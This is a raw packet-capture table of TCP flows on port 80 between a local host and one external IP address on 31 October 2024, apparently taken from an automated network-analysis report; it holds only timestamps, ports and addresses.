Oct 31, 2024 11:27:25.094656944 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094664097 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094676018 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094676971 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094690084 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094703913 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094855070 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094866991 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094880104 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094887018 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094893932 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.094904900 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.094927073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095098019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095108032 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095118999 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095132113 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095143080 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095144033 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095156908 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095160007 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095169067 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095180988 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095189095 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095192909 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095206022 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095217943 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095233917 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095257044 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095259905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095283985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095304966 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095330954 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095366001 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095377922 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095390081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095402956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095423937 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095428944 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095437050 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095464945 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095500946 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095530033 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095541954 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095544100 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095555067 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095577002 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095597982 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095639944 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095653057 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095665932 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095676899 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095685005 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095689058 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095702887 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095712900 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095714092 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095726013 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095730066 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095738888 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095751047 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095757961 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095763922 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095781088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.095791101 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.095877886 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096092939 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096105099 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096116066 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096127987 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096136093 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096143007 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096146107 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096153021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096174955 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096194029 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096237898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096251011 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096261978 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096273899 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096285105 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096287012 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096297979 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096307993 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096311092 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096333027 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096359968 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096389055 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096401930 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096421957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096431971 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096434116 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096445084 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096457005 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096462965 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096470118 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096483946 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096494913 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096496105 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096508980 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096508980 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096523046 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096534967 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096534967 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096549988 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096560955 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096563101 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096575022 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096582890 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096589088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096601963 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096602917 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096630096 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096647978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.096980095 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.096991062 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.097002029 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.097029924 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.097053051 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.132380009 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.132400036 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.132411957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.132424116 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.132565022 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.210680008 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.210700989 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.210714102 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.210787058 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.210784912 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.210799932 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.210813999 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.210825920 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.210829973 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.210871935 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.210957050 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.210969925 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.210982084 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.210994005 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211005926 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211009026 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.211019993 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211030006 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.211046934 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.211071968 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.211110115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211122990 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211168051 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.211182117 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.211308956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211328983 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211342096 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211355925 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211363077 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211374998 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211381912 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211389065 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211401939 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.211585045 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211600065 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211613894 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211693048 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.211745024 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211755037 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211777925 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211790085 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211815119 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.211838007 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.211915970 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211930990 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211941957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211952925 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.211967945 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.211998940 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.212101936 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212116957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212130070 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212146044 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212160110 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212165117 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.212173939 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212183952 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.212196112 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212202072 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.212209940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212239981 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.212265968 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.212277889 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212291002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212305069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212321043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212332964 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.212352991 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.212377071 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.212435007 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212487936 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.212639093 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212651968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212666035 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212680101 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212690115 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.212718010 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.212771893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212816000 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.212852955 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212866068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212878942 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212891102 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.212903976 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.212985039 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.212990046 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213002920 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213015079 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213032961 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213052034 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213066101 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213079929 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213093996 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213107109 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213128090 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213143110 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213226080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.213226080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.213226080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.213226080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.213226080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.213226080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.213226080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.213488102 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213504076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213522911 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213536024 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213541985 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.213550091 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213565111 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213582993 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.213614941 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.213624001 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213664055 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.213800907 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213814020 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213825941 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213839054 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213850021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213855028 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.213888884 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.213983059 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.213995934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214008093 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214030981 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.214047909 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.214169025 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214183092 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214195967 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214209080 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214221001 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214226961 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.214261055 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.214313030 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214324951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214335918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214349985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214361906 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.214361906 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214378119 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214381933 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.214394093 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214406967 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214410067 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.214442015 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.214613914 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214627981 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214641094 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214653969 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214667082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214669943 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.214695930 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.214710951 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.214752913 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214767933 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214780092 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214804888 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.214828968 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.214900017 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214911938 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214922905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214936972 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214946032 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.214948893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214962959 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214972019 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.214977980 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.214993000 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215008974 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.215027094 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.215043068 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.215234995 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215248108 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215296984 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.215424061 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215437889 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215450048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215462923 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215475082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215478897 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.215490103 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215502977 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.215503931 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215518951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215526104 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.215559006 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.215704918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215718985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215732098 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215755939 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.215773106 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.215863943 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215878963 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215892076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215904951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215910912 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.215919018 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215931892 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.215935946 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215950012 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215961933 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.215965986 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215980053 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.215981960 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.215996027 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216008902 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216012001 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.216025114 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216039896 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.216042042 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216058016 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.216077089 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.216370106 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216382027 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216392994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216407061 CET	80	49757	185.215.113.206	192.168.2.4
